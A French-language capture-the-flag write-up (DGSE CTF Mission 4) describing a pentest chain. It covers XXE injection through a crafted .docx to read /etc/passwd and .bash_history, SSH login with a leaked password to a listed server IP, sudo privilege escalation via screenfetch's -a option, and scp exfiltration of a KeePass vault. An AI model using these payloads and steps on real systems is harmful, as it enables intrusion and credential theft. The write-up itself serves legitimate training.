DGSE CTF - Mission 4 (Pentest)
đ Reconnaissance
Le site nous prĂ©sente deux fonctionnalitĂ©s : Application âDocument Trackerâ des attaquants
Testons la premiĂšre fonctionalitĂ© âTrack a Word documentâ pour voir ce que cela fait. Jâupload un fichier word que je viens de crĂ©er, et en cliquant sur âUPLAOD AND MODIFYâ jâobtiens un nouveau fichier apparement âsignĂ©â et de nom
1
984888b0-21cc-4a82-b921-3f5d4639440a_signed.docx
Et voici ce quâil se passe quand on upload ce fichier dans la seconde fonctionnalitĂ© : FonctionnalitĂ© âIdentify a victim from a documentâ
Donc âTrack a Word documentâ doit modifier le document de telle sorte Ă ce que âIdentify a victim from a documentâ puisse aller chercher cette information :
1
victim-5bed1359-c105-4a0a-8205-d98ee22fbb87
On voit bien avec exiftool que le Victim ID à été rajouté dans le métadonnées : analyse des métadonnées avec exiftool
đ§ Approche
Nous savons quâun fichier .docx nâest ni plus ni moins quâune archive zip contenant des fichiers XML et que la fonctionnalitĂ© âIdentify a victim from a documentâ va chercher dans notre .docx le tag Victim ID. Jâai tout de suite pensĂ© Ă une attaque XXE.
DâaprĂšs Portswigger :
et voici comment un fichier XML malveillant peut ĂȘtre modifiĂ© pour fuiter le contenu de /etc/passwd :
1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value. This causes the applicationâs response to include the contents of the file:
1
2
3
4
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
đŁ Exploitation
On commence par renommer et décompresser notre fichier signé dans un dossier test :
1
2
3
4
5
6
7
8
9
10
11
12
13
$ mv 984888b0-21cc-4a82-b921-3f5d4639440a_signed.docx signed.docx
$ unzip signed.docx -d test
Archive: signed.docx
inflating: test/_rels/.rels
inflating: test/docProps/core.xml
inflating: test/docProps/app.xml
inflating: test/word/_rels/document.xml.rels
inflating: test/word/document.xml
inflating: test/word/styles.xml
inflating: test/word/fontTable.xml
inflating: test/word/settings.xml
inflating: test/word/theme/theme1.xml
inflating: test/[Content_Types].xml
Ensuite on modifie /test/docProps/app.xml avec ce contenu :
1
2
3
4
5
6
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties">
<VictimID>&xxe;</VictimID>
</Properties>
Enfin, on se place dans le dossier /test et on recompresse notre archive dans un fichier payload.docx :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ zip -r ../payload.docx *
updating: [Content_Types].xml (deflated 76%)
updating: docProps/ (stored 0%)
updating: docProps/core.xml (deflated 48%)
updating: docProps/app.xml (deflated 44%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 62%)
updating: word/ (stored 0%)
updating: word/settings.xml (deflated 54%)
updating: word/document.xml (deflated 19%)
updating: word/theme/ (stored 0%)
updating: word/theme/theme1.xml (deflated 76%)
updating: word/fontTable.xml (deflated 67%)
updating: word/styles.xml (deflated 73%)
updating: word/_rels/ (stored 0%)
updating: word/_rels/document.xml.rels (deflated 68%)
updating: docProps/custom.xml (deflated 36%)
On upload payload.docx et ⊠TADAAAM ! Injection XXE mÚne à la fuite de /etc/passwd
Nous avons bien réussi à fuiter le contenu de /etc/passwd dans lequel nous pouvons distinguer trois utilisateurs potentiellement intéressants :
document-user â /home/document-user avec /bin/sh
executor â /home/executor avec /bin/bash
administrator â /home/administrator avec /bin/bash
En rĂ©pĂ©tant lâopĂ©ration avec :
1
2
3
4
5
6
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/document-user/.bash_history">
]>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties">
<VictimID>&xxe;</VictimID>
</Properties>
On parvient Ă obtenir lâhistrorique des commandes de document-user : Injection XXE mĂšne Ă la fuite de /home/document-user/.bash-history
dans lequel on apprends que document-user à renseigné une clé SSH dans un fichier temporaire :
1
echo "cABdTXRyUj5qgAEl0Zc0a" >> /tmp/exec_ssh_password.tmp
Naturellement, jâai donc essayĂ© de me connecter au serveur en tant que document-user :
1
2
$ ssh document-user@163.172.67.183
ssh: connect to host 163.172.67.183 port 22: Connection refused
Mais la connexion SSH sur le port standard ne semble malheuresement pas disponible. Jâai donc essayĂ© manuellement dâautres ports (on aurait pu aussi lancer un scan nmap):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ssh document-user@163.172.67.183 -p 222
ssh: connect to host 163.172.67.183 port 222: Connection refused
$ ssh document-user@163.172.67.183 -p 2222
ssh: connect to host 163.172.67.183 port 2222: Connection refused
$ ssh document-user@163.172.67.183 -p 22222
The authenticity of host '[163.172.67.183]:22222 ([163.172.67.183]:22222)' can't be established.
ED25519 key fingerprint is SHA256:FUMdLgfIiHMTJVa2uDJhwomIuO6aJy6B3ioUIfXkD1I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[163.172.67.183]:22222' (ED25519) to the list of known hosts.
document-user@163.172.67.183's password:
Permission denied, please try again.
La clĂ© ssh quâon a trouvĂ© prĂ©cĂ©demment ne semble pas ĂȘtre liĂ©e Ă document-user, essayons avec executor :
Connexion SSH sur le serveur en tant que executor
BINGO ! On obtient un premier pied sur le serveur avec un beau logo ASCII en bienvenue. On fouille dans le dossier de administrator et on remarque un fichier vault.kdbx qui est en fait un coffre KeyPass ! Fichiers du dossier courant de adminsitrator
Malheursement, nous nâavons pas les droits requis pour accĂ©der Ă ce fichier, nous allons donc devoir Ă©lever nos privilĂšges.
đ Elevation de privilĂšges
Avec un simple
1
$ sudo -l
Nous dĂ©couvrons que lâutilisateur executor peut exĂ©cuter la commande screenfetch (le programme permettant dâafficher le logo dâune distribution en ASCII) en tant que administrator sans mot de passe (NOPASSWD)
Programme screenfetch pouvant ĂȘtre lancĂ© en tant quâadministrator
Quand on regarde les options que screenfetch peut prendre, on voit que lâoption -a
peut ĂȘtre trĂšs intĂ©ressante :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
executor@document-station:~$ screenfetch --help
Usage:
/usr/bin/screenfetch [OPTIONAL FLAGS]
screenFetch - a CLI Bash script to show system/theme info in screenshots.
...
Options:
-v Verbose output.
-o 'OPTIONS' Allows for setting script variables on the
command line. Must be in the following format...
'OPTION1="OPTIONARG1";OPTION2="OPTIONARG2"'
...
-a 'PATH' You can specify a custom ASCII art by passing the path
to a Bash script, defining `startline` and `fulloutput`
variables, and optionally `labelcolor` and `textcolor`.
See the `asciiText` function in the source code for more
information on the variables format.
...
LâidĂ©e serait de lancer screenfetch en tant que administrator avec lâoption -a
et un script bash qui ouvrirait un shell. On a apparament les droits dâĂ©criture dans /dev/shm
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
executor@document-station:~$ ls -la /dev/
total 4
drwxr-xr-x 5 root root 340 Apr 29 08:47 .
drwxr-xr-x 1 root root 4096 Apr 29 08:47 ..
lrwxrwxrwx 1 root root 11 Apr 29 08:47 core -> /proc/kcore
lrwxrwxrwx 1 root root 13 Apr 29 08:47 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Apr 29 08:47 full
drwxrwxrwt 2 root root 120 May 2 11:43 mqueue
crw-rw-rw- 1 root root 1, 3 Apr 29 08:47 null
lrwxrwxrwx 1 root root 8 Apr 29 08:47 ptmx -> pts/ptmx
drwxr-xr-x 2 root root 0 Apr 29 08:47 pts
crw-rw-rw- 1 root root 1, 8 Apr 29 08:47 random
drwxrwx-wt 23 root root 2120 May 5 17:35 shm
lrwxrwxrwx 1 root root 15 Apr 29 08:47 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 Apr 29 08:47 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 Apr 29 08:47 stdout -> /proc/self/fd/1
crw-rw-rw- 1 root root 5, 0 May 5 17:41 tty
crw-rw-rw- 1 root root 1, 9 Apr 29 08:47 urandom
crw-rw-rw- 1 root root 1, 5 Apr 29 08:47 zero
Bingo ! On a bien réussi à éléver nos privilÚges et nous avons maintenant un shell en tant que administrator !
đ€ Extraction
Maintenant il reste à récupérer les fichiers qui nous intéressent dans /home/administrator
en les transferant avec SSH sur notre machine :
1
$ scp -P <PORT> vault.kdbx logo.jpg <USER>@<HOST>:/home/kali/
On ouvre le coffre en reseignant le fichier logo.jpg
comme fichier clé :
Et on rĂ©cupĂšre le flag dans lâentrĂ©e OPERATIONS NOTES
!!
đ Bonus
Dans le coffre KeyPass, on voit également une entrée ssh
. Peut-ĂȘtre que cette info sera prĂ©cieuse par la suiteâŠ
(Mission 06)đ